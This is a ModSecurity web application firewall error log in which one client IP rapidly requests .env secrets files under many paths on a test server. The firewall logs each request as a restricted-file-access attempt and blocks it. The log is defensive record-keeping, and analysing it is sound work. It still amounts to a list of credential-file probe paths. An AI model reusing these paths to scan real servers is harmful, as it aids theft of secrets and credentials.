[Thu Feb 26 01:02:54.602459 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygQAAAAA&quot;]
[Thu Feb 26 01:02:54.602626 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygQAAAAA&quot;]
[Thu Feb 26 01:02:54.633851 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhYQAAAAE&quot;]
[Thu Feb 26 01:02:54.634095 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhYQAAAAE&quot;]
[Thu Feb 26 01:02:54.634253 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhYQAAAAE&quot;]
[Thu Feb 26 01:02:54.641804 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyggAAAAA&quot;]
[Thu Feb 26 01:02:54.642071 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyggAAAAA&quot;]
[Thu Feb 26 01:02:54.642232 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyggAAAAA&quot;]
[Thu Feb 26 01:02:54.665116 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhYgAAAAE&quot;]
[Thu Feb 26 01:02:54.665349 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhYgAAAAE&quot;]
[Thu Feb 26 01:02:54.665499 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhYgAAAAE&quot;]
[Thu Feb 26 01:02:54.670244 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygwAAAAA&quot;]
[Thu Feb 26 01:02:54.670482 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygwAAAAA&quot;]
[Thu Feb 26 01:02:54.670651 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygwAAAAA&quot;]
[Thu Feb 26 01:02:54.703814 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhAAAAAA&quot;]
[Thu Feb 26 01:02:54.704112 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhAAAAAA&quot;]
[Thu Feb 26 01:02:54.704331 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhAAAAAA&quot;]
[Thu Feb 26 01:02:54.748553 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZAAAAAE&quot;]
[Thu Feb 26 01:02:54.748874 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZAAAAAE&quot;]
[Thu Feb 26 01:02:54.749060 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZAAAAAE&quot;]
[Thu Feb 26 01:02:54.755325 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhQAAAAA&quot;]
[Thu Feb 26 01:02:54.755571 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhQAAAAA&quot;]
[Thu Feb 26 01:02:54.755729 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhQAAAAA&quot;]
[Thu Feb 26 01:02:54.796983 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /archipel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhgAAAAA&quot;]
[Thu Feb 26 01:02:54.797249 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhgAAAAA&quot;]
[Thu Feb 26 01:02:54.797465 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyhgAAAAA&quot;]
[Thu Feb 26 01:02:54.819025 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZQAAAAE&quot;]
[Thu Feb 26 01:02:54.819293 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZQAAAAE&quot;]
[Thu Feb 26 01:02:54.819461 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZQAAAAE&quot;]
[Thu Feb 26 01:02:54.861535 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /asset_img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyiAAAAAA&quot;]
[Thu Feb 26 01:02:54.861759 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyiAAAAAA&quot;]
[Thu Feb 26 01:02:54.861938 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyiAAAAAA&quot;]
[Thu Feb 26 01:02:54.872151 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app-order-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZwAAAAE&quot;]
